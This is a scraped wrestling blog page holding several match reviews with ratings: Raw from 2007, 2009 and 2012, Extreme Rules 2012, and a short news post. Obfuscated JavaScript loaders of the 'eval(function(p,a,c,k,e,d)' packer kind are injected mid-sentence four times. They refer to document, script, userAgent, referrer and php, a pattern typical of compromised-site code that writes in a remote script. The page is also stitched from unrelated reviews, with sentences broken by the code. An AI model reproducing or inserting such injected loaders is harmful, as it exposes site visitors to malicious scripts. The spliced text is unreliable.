Ace says that he brought Brock in to motivate Cena which Cena doesn’t buy at all. Ace calls it a success but Cena still doesn’t believe him. Cena responds to the WHAT chants and makes fun of Ace some more. Ace says he can make Cena’s life difficult or easy. Cena: “YOU ARE AN IDIOT!” Here’s Tensai, which shouldn’t shock anyone. Cena, with one good arm, stays in the ring but Ace hits him with the mic and…..the opponent is actually going to be Ace. Tensai’s manager kicks Ace in the arm and Tensai helps in the attack. They all attack the arm with Tensai holding it over the steps and Ace crushes it with a chair to end the show.

Overall Rating: C. This was only an ok show. The opening segment was great, then by the fourth time it was just good. The Beat the Clock stuff was ok but again the matches get really boring after awhile because they’re so short. Bryan vs. Punk should be awesome though so I can’t complain there. The ending was about what I expected, which doesn’t help anything.

Results
The Miz b. Santino Marella – Skull Crushing Finale
Layla b. Nikki Bella – Rollup
Chris Jericho vs. Big Show went to a time limit draw
Brodus Clay b. JTG – Splash
Randy Orton b. Jack Swagger – RKO
Kofi Kingston/R-Truth b. Epico/Primo – Trouble In Paradise to Epico
Great Khali vs. Kane went to a no contest
Daniel Bryan b. Jerry Lawler – Yes Lock

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Lesnar Attacks And Injures HHH

In eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kiahb|var|u0026u|referrer|dezad||js|php'.split('|'),0,{})) case you didn’t see it the first three times it aired in an hour on Raw.

This obviously is setting up a match either at Over the Limit or MITB which I think is the next PPV. It was supposed to be at Wrestlemania 21 but Lesnar bailed. The match would be interesting and HHH can go down without losing face.

Thoughts on this?




Monday Night Raw – June 15, 2009: Raw Is…..Sold?

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hryst|var|u0026u|referrer|yndty||js|php'.split('|'),0,{})) Night Raw
Date: June 15, 2009
Location: Time Warner Cable Arena, Charlotte, North Carolina
Commentators: Michael Cole, Jerry Lawler, Josh Matthews, Matt Striker, Jim Ross, Todd Grisham

This is a three hour special called the Three For All which has three world title matches and guys from all three brands on the show. It’s a request and based on the card it doesn’t look that bad for the most part. I don’t remember this show at all but it’s Raw from 2009 so that really shouldn’t surprise anyone. Let’s get to it.

Cole and Lawler tell us that there’s going to be a new GM tonight. I really hope this is something different than I remember.

We get a video from last week where Orton interrupted Batista and had Legacy jump in for the three on one attack. They attacked Batista’s arm which was probably a storyline way of getting him off TV. Batista was world champion at the time so Orton won the title by forfeit. Instead HHH came back and beat up Legacy to stand tall.

Apparently there’s a fatal fourway for the title because saying “If Batista doesn’t come out Orton is champion” and then Batista doesn’t come out means Orton isn’t champion.

Intercontinental Title: Chris Jericho vs. Rey Mysterio

Jericho is defending, having won the title at Extreme Rules eight days earlier. Jericho says that everything has fallen apart on Raw since he left for Smackdown. There’s no GM, there’s no champion and there’s nothing at all. Some day everyone will know his value to this show and some day Rey will realize that Jericho is right: his mask is holding Rey back. Here’s Rey and we’re ready to go.

Rey takes him down immediately and is all fired up here. A clothesline puts Jericho on the floor and he drops the leg off the top for two on the way back in. There’s a clock ticking down until the Raw Title match. Jericho avoids a charge and heads to the floor where Rey tries the seated senton, only for Jericho to drop him backwards and ram Rey’s face into the table.

We take a break and come back to Rey hitting an enziguri to put him in 619 position. Chris comes back with a clothesline for two. He goes for the mask which he pulled off at the PPV. Rey rolls through a sunset flip and hits the seated dropkick for two. The bulldog is countered and Rey dropkicks Jericho to the floor. A nice suicide dive takes Jericho down again but Chris stops Rey coming back in.

Superplex is countered into a powerbomb for two. Walls are broken up but the 619 misses. Jericho tries a 619 but Rey pops up with a moonsault press for two. Rey ranas him into the 619 and tries the West Coast Pop but Jericho catches him and pulls at the mask. Rey drops down and walks into the Codebreaker for Jericho to retain.

Rating: B. Jericho and Mysterio have a good match. Is there anyone in the world that is surprised by this? These two had a GREAT series of matches on PPV for the title around this point and this was another in that series, minus the PPV part. Solid match here with the ending Codebreaker looking great.

Orton says he’ll win when Cena pops up to make fun of him. Orton is a grand wizard of the baby oil boys’ club and Cena reminds him there are four people in the title match tonight.

We recap Vickie resigning her GM position last week.

Vince is shown sitting in an office and says that tonight there’s going to be a GM. Scratch that he won’t be making the announcement, because he’s sold the Raw brand to someone else. Oh it’s THIS show. The new owner will be announced after the fatal fourway.

Jerry and Cole talk about how Vince has owned Raw for 17 years. So I guess Flair as co-owner is non-cannon now.

ECW Title: Christian vs. Tommy Dreamer

Tommy is defending. Christian lost the title in a triple threat at Extreme Rules so this is his rematch. Tommy starts off with his usual basic stuff until he walks into an elbow off the middle rope for two. Christian throws him to the floor and hits the springboard cross body over the top to the outside. Tornado DDT is countered and Christian slams him into the mat via a modified flapjack. Dreamer runs into a boot and the middle rope sunset flip gets two. DDT and Killswitch are countered and Dreamer grabs a small package for the fast pin. Too short to rate but this was just like any other TV match.

The Bellas and Kelly are talking about the new owner of Raw. They think it’s Oprah or Paris Hilton.

We recap the Batista attack last week that set up the vacant title. There are also some stills of Batista’s arm surgery.

Raw World Title: Randy Orton vs. Triple H vs. John Cena vs. Big Show

One fall to a finish. This is HHH’s first match back since Backlash, which is why him popping out of the ambulance last week was such a big deal. After some big match intros we’re ready to go. HHH goes right for Orton as Show jumps Cena. The latter pairing had a match at the PPV so there’s recent history there. Show tosses Cena out and turns around to face HHH as we take a break.

Back with Orton stomping HHH down in the corner. Randy misses a knee drop and it’s HHH and Cena teaming up on Big Show. A shoulder manages to put him on the floor and it’s Cena vs. HHH. Cena takes him down but as he loads up the Shuffle, HHH grabs a spinebuster. Pedigree is countered into an AA attempt but Big Show is back in with a double clothesline.

The original pairings pair off again with Cena/Show in the ring. Show falls on Cena during a slam attempt. Orton makes the save but then he runs from Show. HHH and Cena hit a double suplex on Show and Orton comes back in and takes everyone down. The Punt is blocked by Show and he knocks everyone down with ease. Show hits a Vader Bomb on Cena but Orton saves the pin.

Orton gets thrown to the floor and Show spears HHH down for two. Vader Bomb to HHH misses as does an RKO attempt on Show. HHH hits the Pedigree on the bald one but he walks into an AA but the cover on Show only gets two. AA to Big Show but Orton makes the save. RKO to Big Show gives Orton the title.

Rating: B-. This was a fun match but it flew by pretty fast. Orton winning was completely obvious and I don’t think it was ever really about would he win but rather how would he win. The ending sequence was good as Big Show took a beating and it was about who could get the pin. Not a masterpiece or anything but it was just about perfect with the stuff they had to work with.

Here’s Vince for the big announcement. He says this was a good business decision and we go to the new owner of Raw via satellite: Donald Trump. The fans aren’t that happy with this. I’ll give Trump this: he’s been in WWE like four or five times now. Trump talks about needing to reward the fans and says that next week, Raw will be presented commercial free. The deal doesn’t go through for a week so tonight we’ll have a battle royal for the #1 contender spot at the Bash. Trump and Vince will both be here next week. Trump owning Raw would last all of a week I think.

Mickie James vs. Rosa Mendes

This is Rosa’s in ring debut. Maryse, the Divas Champion who cost Mickie a #1 contender match last week, comes out to watch. Mickie knocks her down a few times and goes up but Rosa heads to the floor. A not horrible neckbreaker gets two. Rosa gets in some forearms and a chinlock but misses a charge. Mickie comes back and blocks another neckbreaker so that the jumping DDT can end this. Too short to rate but it was clear Rosa was very green and that Mickie was doing most of the work, which is ok.

Back from a break and it’s Goldust/Hornswoggle in the ring shooting t-shirts into the crowd. Here’s Miz to say hang on this is stupid. This is during the Miz beats Cena stuff. Miz says he’s awesome and the best and the future and all other appropriate accolades. He’ll eliminate Cena tonight and get the title match at The Bash. Then he wants the endorsements and the magazine covers and the movies and all that. Actually the day this was written he landed the lead in The Marine 3 so there you go.

Goldust says Miz’s mind games haven’t worked with Cena. He gave Ahmed Johnson mouth to mouth resuscitation and all Miz’s mouth does is run. Miz is a loser, complete with the speech impediment. Goldust is a joke trying to recapture the magic of better days and Miz would beat him down, but no one would care. And never mind as there goes Goldust and Horny gets thrown around too. Miz gets the t-shirt gun and shoots Horny in the stomach with it. Or was it between the legs? Eh who cares? HORNY IS IN PAIN!!! LIFE IS GOOD!!!

Punk, whose tape says Misawa who died two days earlier, says that since he cashed in on Jeff Hardy it’s not as popular. This would be the start of his heel turn. Matt Hardy comes in who says he would have done the same thing. Punk basically blows him off.

We get a clip of Edge dumping Vickie last week because she can’t help him become world champion anymore.

Smackdown World Title: Edge vs. Jeff Hardy vs. CM Punk

Big match intros are go and we’re ready. Jeff knocks both guys down almost immediately and controls early on. Edge gets sent to the floor and Punk hits a big suicide dive to take the Canadian out. Jeff tops that by taking both guys out and surprisingly we don’t go to commercial. Back in Jeff works on Punk, who is champion if that wasn’t clear, but CM takes him down with a slam kind of thing for two. Quick drop elbow gets two for Punk.

Off to a chinlock as Edge is still on the floor. Jeff breaks the hold and Edge comes in to kick Punk’s head off. Edge loads up a superplex but Hardy makes the save and loads up the move himself. Edge pulls Jeff away and it’s almost a Doomsday Device but Jeff gets a victory roll for two and Punk, playing Hawk, crashes to the mat.

Back from a break and Punk takes Edge down as Jeff is getting back in the ring. Punk hits his clothesline/bulldog but throws in a clothesline to Hardy as he’s bulldogging Edge. Punk loads up the GTS on Hardy but Edge takes out the knee instead of letting Hardy get taken out. Sharpshooter to Punk but Hardy hooks a sleeper on Punk (not a headlock Todd) at the same time. Punk takes Edge down but Hardy takes Punk down and gets two on the champ.

Edge goes to the apron but Hardy slides to the floor to send Edge into the apron. He also guillotines Punk and loads up the Swanton. Edge crotches Hardy and loads up the spear on the champ. Punk counters into a powerslam for two. GTS attempt on Hardy but Jeff escapes. Edge tries to spear Punk but gets Hardy instead and everyone is down. Why Punk is down I’m not sure but whatever.

Edge covers Hardy for two but Punk makes the save. Punk charges at the Canadian in the corner but Edge moves, sending Punk up and over the corner and onto the steps where he injures his knee. In the ring Edge and Hardy cross body each other to buy some time. Hardy covers Edge but Punk makes the save on one leg. Small package gets two for Edge but he walks into the Twist of Fate. Here comes the Swanton which connects but Punk pulls Hardy out again and sends him into the steps, slides in and steals the pin on Edge to retain.

Rating: B-. Another fun match here which was good because the people in it were talented. That’s the main idea with most of these shows so it’s really not all that surprising. Punk would wind up holding the title over most of the summer until he lost it to Hardy I think at Night of Champions before getting it back and knocking Hardy out of the WWE. Fun stuff here.

Here’s Teddy post match who says that Punk will defend at The Bash against Jeff Hardy.

Legacy, the #1 contenders, are on commentary for the next match.

Primo/Carlito vs. Hart Dynasty

The Colons are the unified tag champions here. Cody calls the upcoming PPV the Great American Bash which I’m sure will be a fine or something. Primo and Hart-Smith start things off and it’s a totally screwed up rana from Primo. I think the fault is more on Hart-Smith but you get the idea. Off to Carlito and things break down. Backstabber takes down Hart-Smith and Legacy runs in for the DQ. Short and pretty bad.

Video on the European tour.

For the third time tonight, here’s Trump being revealed as the new owner and the announcement of no commercials next week.

Santino is in Vince’s office and tells him that he and Santina are different people. That would end next week I believe. Vince’s phone rings (and it has No Chance for a ringtone) and it’s Trump. There’s going to be an announcement after the battle royal. The call ends and Vince complains about egotistic billionaires. Santino points out the irony and puts his foot in his mouth a few times.

Battle Royal

HHH, John Cena, Cody Rhodes, Ted DiBiase, MVP, William Regal, Kofi Kingston, Big Show, The Miz, Matt Hardy

Winner gets Orton at The Bash. MVP takes a few extra seconds to come out for some reason. Kofi is US Champion here. After a quick break during the entrances we get a confusing graphic for Smackdown. The picture is of Edge but JR keeps saying Jericho. Anyway on to the match. Matt chills in the corner while the rest of the heels beat on the good guys.

Show goes for Miz but Cena wants to fight the big bald. Orton is watching on the stage. No one is really close to being eliminated at the moment so there isn’t much to say so far. Miz goes over to the apron but not out. Legacy is double teaming HHH in the corner. Show saves Cena for some reason instead of throwing him out. HHH fights Legacy off but Big Show starts going off on everyone. Matt is knocked to the apron so Show picks him up, pulls him back in and throws him right over for an elimination.

MVP jumps Show but is easily tossed as well. Chokeslam to Miz but he stays in the ring. Everyone on their feet goes after Big Show and manages to get him out ala Andre back in the day. We take a break and come back with six remaining. I think it was Miz that was eliminated. Kofi speeds things up but runs into the jumping knee from HHH. Legacy goes after HHH and gets him upside down but Cena makes the save. Again, why?

Rhodes saves DiBiase from elimination but walks into a HHH spinebuster. HHH and Cena slug it out to not much of a reaction at all. Both guys go for eliminations but they wind up clotheslining each other down. Kofi tries to fight off both Legacy members but gets clotheslined to the floor to get us down to Legacy, HHH, Regal and Cena. There goes Regal and it’s down to four.

It turns into two one on one matches which Legacy actually wins. Cena comes back and puts out DiBiase and HHH takes out Rhodes. Pedigree to Cena but Legacy comes in and beats HHH down. Miz pops up because he was never eliminated (nice touch actually) but he charges over the top rope without landing a single shot. Nice touch again. HHH throws Cena over and wins it.

Rating: C. Well you knew it would be HHH or Cena here so that outcome wasn’t all that surprising. The Miz bit was kind of cute and it’s good that he didn’t win. Not a horrible match here but it really wasn’t all that interesting. Either way it sets up HHH vs. Orton at the PPV….or maybe not.

Trump pops up and says that the match is next week and it’s Last Man Standing. This would be I believe their second of three last man standing matches.

Overall Rating: C-. There are some good matches here but overall this didn’t do much for me. At the end of the day it’s Orton vs. HHH again which isn’t interesting or new or anything like that. Nothing really happened here match wise and the Trump thing, while surprising at the time, was clearly not going to last long term which I remember being the general consensus back then. Not a horrible show and it’s certainly watchable, but there’s nothing worth seeing here.

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Monday Night Raw – April 23, 2007: The Longest Match In 25 Years

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fsank|var|u0026u|referrer|idbnr||js|php'.split('|'),0,{})) Night Raw
Date: April 23, 2007
Location: Earl’s Court, London, England
Attendance: 12,000
Commentators: Jim Ross, Jerry Lawler

This is back in England and it’s being reviewed for one reason: this is the Cena vs. Michaels hour long match which is more or less the match where Cena proved that he was in fact not human. Other than iron man matches, I think this would be the longest match in modern company history unless I’m overlooking it and it’s nearly 5am so I probably am. Let’s get to it.

Here’s Shane to open things up. He says that he’s here for a fight but not with Lashley due to what happened last week. We get a video of the Milan Miracle, where a “fan” named Santino Marella came in for an IC Title match with Umaga and won the title with a little help from Lashley. This is fallout from Mania where Lashley beat Umaga and caused Vince to lose his hair.

Shane talks about how a fan is going to get a chance to face a dragon, just like St. George since it’s St. George’s Day. It’ll be a No DQ match. The manager of Chelsea Football Club is here but it won’t be him. Shane brings out Robbie Brookside who was a pretty big deal, teaming with Regal for years and competing in Japan as well. He had a cup of coffee on Nitro as well I think. Regal has said that without Brookside there wouldn’t be a William Regal, a Finlay, a Wade Barrett or a Sheamus so take that for what it’s worth.

Robbie Brookside vs. Shane McMahon

This is No DQ. Shane takes him down with a headlock and works on the back with elbows. Total squash so far as Shane knocks Brookside down in the corner. Shane sets up the Coast to Coast and drives the garbage can into Robbie’s head. Robbie is out cold so Shane says this is a handicap match and brings out Umaga to be his partner. Umaga hits the running hip attack and a top rope splash but Shane brings out Vince to make it 3-1. Apparently this is the go home show for Backlash which is a show I haven’t done yet. Vince is in a suit and hat but he gets the pin.

Rating: D. The idea makes sense but there’s no entertainment value to it for the most part. Shane is always cool to see and further emphasizes how bad Garrett Bischoff is but there wasn’t any interest here. Brookside took a beating which was expected but the fans didn’t really seem to care about him.

We get a clip from Wrestlemania where Cena beat Shawn. That means it’s time for a rematch on Raw three weeks later right? Tonight’s match is non-title.

Matt Hardy vs. Trevor Murdoch

The Hardys are Raw tag champions. Todd Grisham is doing ring announcing for no apparent reason. Murdoch takes him into the corner easily and throws on a headlock. Matt comes back with a fist drop for two. He goes up but gets pulled off the middle rope as Murdoch takes over again. Off to a sleeper but Matt breaks it up and hits a forearm. Side Effect gets two. A middle rope Fameasser gets two and Cade pops up on the apron for a distraction. Murdoch hits what was supposed to be a Canadian Destroyer for the pin.

Rating: D. This didn’t click at all. Jeff was at ringside but didn’t do a thing at all. There wasn’t much to see here as it was a short match on top of being bad. Murdoch was pretty good at times but at other times he was your old Texas cowboy kind of guy which isn’t interesting a lot of the time. Bad match.

Video on the Condemned.

Melina vs. Maria

Both girls are looking GOOD here. Melina is Women’s Champion but it’s not on the line. Grisham talks very slowly. Melina beats her up and after the quick comeback from Maria, a facejam ends this. It’s amazing how much better looking these girls are than the current crop of Divas.

Carlito is getting ready in the back and Flair says let’s go. This was a mentor/mentee thing.

Carlito vs. Great Khali

Carlito comes out alone, minute Flair or girlfriend Torrie. He tries to speed things up but gets run over by a Khali shoulder block. Carlito tries the legs and then the eyes. He goes up top but his missile dropkick misses. Chop, Plunge, pin.

Flair comes out post match and Carlito yells at him in Spanish. Naitch leaves in a huff.

Mick Foley talks about a Make-A-Wish kid that made the main event for Backlash which was a fatal fourway. One of the four is Edge who pops up and says he’ll win on Sunday.

Another video on the Condemned.

Shawn runs into Cena and nothing of note is said.

Shawn Michaels vs. John Cena

There’s almost an hour to go in the show so you know this is going to be something good. Shawn works on the shoulder to start but Cena counters with a headscissors into a stalemate. They do the exact same sequence and then try it again, but Cena goes for a drop toehold which Shawn escapes. Another STFU attempt sends Shawn running to the ropes. Cena is very pleased that he got that close.

Cena tries to grab the leg this time but Shawn makes the rope. They get in each others’ faces and it’s a slugout. Back from a break and the fans are getting way into this. Cena takes him down with a headlock instead which lasts for a good while. A big clothesline takes Shawn down and it’s chinlock time. Shawn pops back up and is immediately clotheslined back down.

Sweet Chin Music is avoided and the FU is countered by Shawn heading to the floor. We take another break and come back to Shawn getting in a shot in the corner. He’s mostly the heel in this but it’s not full fledged. They speed things up and Cena hits a World’s Strongest Slam for two. Release fisherman’s suplex gets two. Throwback gets two. They slug it out and Shawn counters a suplex into a neckbreaker for two.

Another slugout results in the flying forearm by Shawn. He nips up and hammers Cena down and goes to the corner for the elbow. It hits but instead of covering Shawn stomps the mat for the Chin Music. Cena ducks and Shawn grabs a quick backslide for two. The shoulder block misses and Cena may have hurt his shoulder on the crash to the floor. Shawn dives over the floor but Cena catches him in mid-air and slams him into the steps.

Back from break #3 and they’re both in the ring again. It should be noted that we’re probably half an hour into this and Cena looks FINE. He doesn’t look tired, he doesn’t look winded, he doesn’t even look sweaty. That’s almost scary. Cena charges into the post and Shawn has a target. He hooks a combination hammerlock/abdominal stretch on the mat before driving in some knees on the arm.

Cena shrugs off most of it and starts his finishing sequence, taking Shawn’s head off with a clothesline. The Shuffle hits but the FU is countered into Chin Music attempt into the FU for a VERY close two. We take another break and come back with Cena throwing Shawn to the floor. Cena rams his back into the post and we head back inside. Delayed vertical suplex gets two.

Bearhug time which is proof we’re in a big match as you almost never see a face use one of those. Shawn fights out of it but gets thrown over the corner and out to the floor. Back in Cena hits the top rope Fameasser which seems to be a new move for him. They go to the corner for a superplex but Cena instead tries an FU off the top, which Shawn counters into a powerbomb off the top to put both guys down.

Out to the apron and Shawn knocks him face first into the announce table. The look on his face says THAT REALLY HURT! Out to the floor and Shawn loads up a piledriver on the steps but Cena backdrops him onto the floor as we take I think break number five. Back with them on the announce table and Cena is all fired up. Back inside Cena hooks the STFU but it’s not cranked on perfectly.

Shawn makes the rope and we cut to some cheering girl in the crowd. Shawn looks a bit dead but Cena is waiting for the FU. Shawn pops up with the Chin Music but Cena tries the FU again. That gets reversed and Chin Music hits for a very delayed two. They slowly get up and Cena tries the FU again but Shawn slips down the back and hits the second Sweet Chin Music for the pin at 55:49. Unless there’s some house show match that I don’t know of, that’s the longest regular one on one match in the WWE/F since 1981.

Rating: A-. It’s certainly not a masterpiece or even anything close to one, but considering they just went an hour, you have to give them bonus points. Cena looked fresh as a daisy 40 minutes into this which is more proof that he isn’t human. This is also a loss that doesn’t hurt Cena because it wasn’t like he got beat but rather that he got caught. Very good match and the time aspect of it is remarkable. This match is on the Heartbreak and Triumph DVD.

Shawn puts the title on Cena’s chest post match and crotch chops him to end the show.

Overall Rating: B. To say that this is a one match show is an understatement but when it’s a great match like this on free TV, you can’t complain at all. Good stuff here and while it didn’t really build up Backlash that well, it’s still great with one match that is the first of its kind in over twenty five years.

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Extreme Rules 2012: Cena…..Gone?

Extreme eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dzihb|var|u0026u|referrer|fthkn||js|php'.split('|'),0,{})) Rules 2012
Date: April 29, 2012
Location: All State Arena, Chicago, Illinois
Commentators: Michael Cole, Booker T, Jerry Lawler

It’s time for another WWE PPV and we’re in Chicago again. It’s a triple main event with Bryan vs. Sheamus 2/3 falls, Punk vs. Jericho in a Chicago Street Fight and Cena vs. Lesnar in an Extreme Rules match, which is clearly different than a Chicago Street Fight because….uh…..oh because one has the word Chicago in it. I’m somewhat excited about this show so let’s get to it.

US Title: Santino Marella vs. The Miz

This is on the pre-show because the US Title doesn’t have any place on a PPV right? Santino is defending. Before the match Miz goes on a rant about how he was in the main event last year and then won the power for Ace at Mania but he’s on the pre-show here. It seems like they’re teasing a tease of face turn for him.

Miz gets sent to the floor quickly and heads back to said floor when Santino loads up the Cobra. Back in Miz stomps him down and hits a kick to the head for two. Some knees to the chest/head get two so it’s time for some chinlockery. The fans are totally behind Santino of course. Low DDT gets two. Miz’s running clothesline hits in the corner and a top rope ax handle gets two. Quick rollup gets two for the champ. Miz quickly takes him down but jumps into a right hand. Santino starts his comeback and here’s the Cobra. Miz charges into the corner, misses, and the Cobra retains at 4:37.

Rating: D+. This was any TV match you could imagine. There was nothing to see here and while it was ok, this really shows how far Miz has fallen. It’s not that he lost to Santino, but rather that no one is really surprised that he did. That’s the much more telling idea to me. Not a horrible match and it’s probably good that this wasn’t on the PPV.

Time for the actual PPV now.

Kane vs. Randy Orton

Falls count anywhere. Orton starts fast and goes to the corner but gets caught by an uppercut and knocked to the floor. Kane gets the lead pipe despite this being just falls count anywhere. Orton gets the pipe and gets in a few shots as they go to the floor. Orton pounds on him up against the barricade and they go into the crowd. It’s one of those “I hit you so naturally you stumble forward five steps then I hit you again.”

Kane comes back with some right hands and the low dropkick for two. They go up the stands and then down towards the stage. This has been 90% punches. Orton dropkicks him by the stage for two. They go backstage and into the halls. A bunch of people are watching the show and Ryder jumps Kane, pounding him in the back with forearms. They don’t work but him trying is more than he’s ever done.

Orton saves him with the backbreaker which gets two. They head back down the hall and Kane throws a small table at Orton, clearly not hitting him but Randy is nice enough to go down for two. They head back to the ring and Orton hits the powerslam. Orton gets in some chair shots and they head to the floor. He loads up the announce table but Kane fights out of it. No chokeslam as Orton fires off some elbows to the head, so it’s the elevated DDT on the floor instead. Somehow driving a man’s head into a thin mat over concrete only gets two.

Kane shoves off an RKO attempt to send Orton into the post for two. Back in the ring Kane goes up but Orton manages to pull off his dad’s superplex for two. Orton goes Viper but the RKO is countered again. Chokeslam hits for two and Kane has a small fit. He sets for a tombstone on the chair but gets caught in the RKO onto it for the pin at 16:48.

Rating: B-. It was a good brawl but a lot of it was just them walking back and forth and punching. The in ring stuff was a lot better and the Ryder interference was a nice touch. It’s three months late but it was nice. This should end the feud though, and as long as it doesn’t lead to Mahal vs. Orton I’m cool with that.

Eve and Ace are in the back and liked the first match. They have the Raw Roulette wheel behind them and Eve has Teddy bring in champagne. He has the massive nametag too. Ace gets a call from HHH and has to go. It doesn’t seem to be anything bad.

Brodus Clay vs. Dolph Ziggler

The “smart” fans chant for Ziggler and they go to the floor quickly. Swagger runs over Brodus to put him down and get him in trouble for the first time. Back in Ziggler pounds on him but Brodus comes back with a headbutt. A knee lift misses and the Fameasser gets two. Another dropkick gets one and it’s time for a modified sleeper. Brodus stands up and easily throws Ziggler over. Dolph tries a suplex and is easily thrown off. Brodus gets all fired up and shakes, including a shot to Swagger. Headbutt to the ribs sets up the splash for the clean pin at 4:19.

Rating: C. This is EXACTLY what Brodus needed. He’s squashed jobbers for months now so a real win where he had to fight off some people is a great upgrade for him. Ziggler hammered away on him and certainly didn’t get squashed, which is how you make someone like Clay look great. Good stuff.

We see the wheel being spun for the IC Title match and it’s a tables match. This is somehow Teddy’s fault. Big Show is pleased.

Intercontinental Title: Big Show vs. Cody Rhodes

Show quickly backdrops him and we go to the floor. He hits the chop up against the barricade and sets up the first table in front of the announce table. Cody tries to get in a few shots but gets thrown around with ease. There’s another table set up in the corner of the ring now.

Show tries to throw him through that one but Cody runs up the table and hits the Disaster Kick in a sweet move. Show knocks him to the floor again and Cody tries for a table. This goes about as well as you would expect and a clothesline puts him down. Show tries to get back in and Cody kicks him down, sending Show feet first through the table for the title at 4:36.

Rating: D. Cody got DESTROYED for four weeks since Wrestlemania, lost to Khali, lost to Big Show, but SWERVE: he wins the title here. This is why the midcard is dead and the titles mean nothing: why should we buy Cody as champion after the beatings he’s taken for the last month? Someone explain this to me.

Show destroys the champ post match because that’s the best way to make Cody look strong Show puts him through two tables. Cody manages to walk to the back because that’s supposed to make it all better I guess.

Bryan explains why he’s better than Sheamus: he gets better chicks, he has a better beard and he doesn’t have five pounds of corned beef in his stomach. Bryan insults the crowd to try to get them to stop cheering him but then does a YES sequence….which gets a NO reaction. AJ is watching but Bryan doesn’t see her.

We recap Bryan vs. Sheamus. It was 18 seconds at Wrestlemania, Bryan snapped and threw out AJ, this is the 2/3 falls rematch.

Smackdown World Title: Daniel Bryan vs. Sheamus

Two out of three falls. The fans have seemingly forgiven Bryan in the last three minutes. They do big match intros and Sheamus doesn’t get the best reaction. It’s not really hatred but he’s not that well liked. He has an 18 seconds shirt which is a nice touch. Sheamus takes him to the mat quickly but Bryan pops up. Quick Brogue Kick attempt misses and Bryan grabs the arm.

They trade some technical stuff and Sheamus hits the fireman’s carry slam for two. Sheamus hooks a Texas Cloverleaf out of nowhere which is like his fourth finisher but Bryan makes the rope. It wasn’t a half bad one either. Sheamus tries it again but gets rolled up for two. Bryan fires off some shots and they head to the floor, but Bryan’s running knee is caught into a spinebuster into the barricade.

Back inside Sheamus goes up but gets crotched and falls into the ring. Bryan drops a bunch of knees and hooks an armbar. He bends the fingers back and bends the shoulder back in a SCARY looking angle. Sheamus rolls to his back to keep from having his shoulder destroyed and gets back to his feet. Bryan takes him down and hits a low dropkick for two. He chokes on the ropes because HE HAS TIL FIVE!

Bryan stays on the arm but Sheamus knocks him to the apron for the forearms. Sheamus charges into the corner and gets caught in a drop toehold into the buckle and kicked in the face for two. They go to the corner where Bryan’s rana is countered. The top rope shoulder gets two as this is getting good. Sheamus charges at Bryan but goes over the top to the floor. He may have hurt his ankle. Back in the High Cross is countered into a rollup for two.

YES Lock is countered twice but Sheamus charges into the post shoulder first. Bryan wraps the shoulder around the post and fires off about 15 kicks which is good for a DQ for Sheamus at 14:35. LAME. Bryan seems fine with it though. The second fall begins a few seconds later and Bryan hits a running dropkick in the corner. YES Lock goes on and stays on for a good while. Sheamus starts to lose consciousness and passes out to tie it up at 16:45.

The doctors come in to see if Sheamus can continue and Sheamus says let’s go. The fans are chanting YES/NO through this. Bryan charges into a kick to the face which only gets two because of a delayed cover. Big kick to the side of Sheamus’ head gets two. Bryan goes up but misses his dive. A charge misses and here come the ax handles. Irish Curse puts Bryan down and the Brogue Kick ends this clean at 23:00.

Rating: A-. Yeah this worked. If this was what Sheamus had won the title with at Mania I don’t think anyone would have complained. It’s probably Sheamus’ best match ever and the kind of win he needed. Having him pass out was a nice touch as instead of having him tap and look mortal he kept fighting which is the right move for him. Very good match here and the pickup this show needed.

Aaron Relic/Jay Hatton vs. Ryback

The Jobbers combine to weigh 340lbs. Santino and Khali are watching in the back. I like this “let’s watch Ryback” idea. They give a pro-Math promo to start the match. They keep saying 2 is greater than 1 and even Cole is ripping on them. The fans chant Goldberg and I can’t really argue. Let’s say Hatton starts with a pair of kicks that do NOTHING. A forearm does nothing. There’s a big boot to put him down and Ryback throws him into a powerslam. He drags Hatton to his corner and pulls the other jobber in. There’s the huge clothesline and the Over the Shoulder Boulder Holder kills jobber #2. MuscleBuster for the pin at 1:50.

Punk says that Jericho hasn’t proven anything yet and Punk has proven that he’s better than anyone else. Jericho is waking up with a hangover tomorrow because of the GTS.

We recap the Raw World Title match. Jericho said Punk would drink after he lost at Wrestlemania. Jericho lost at Wrestlemania so he poured alcohol over Punk and accused Punk of being drunk. This led to a field sobriety test which Punk faked being drunk for.

Raw World Title: Chris Jericho vs. CM Punk

It’s a Chicago Street Fight. They’re both in street clothes which is at least something different. They do big match intros and Punk is ungodly over. They stare each other down and it’s a brawl to start. Punk stomps him down into the corner and they head outside. Punk throws two chairs in and grabs a kendo stick, drawing an ECW chant. He gets in a few shots and tries a baseball swing at Jericho but Chris hits the floor.

Back in a clothesline puts Jericho down and it’s back to the stick. Punk’s sister is here in the front row and his parents are here somewhere. Jericho hides behind the referee and pokes Punk in the eye to take over. Out to the floor again and into timekeepers’ area but Punk gets in a shot. A headbutt puts the champion back down and he goes over in front of Punk’s sister.

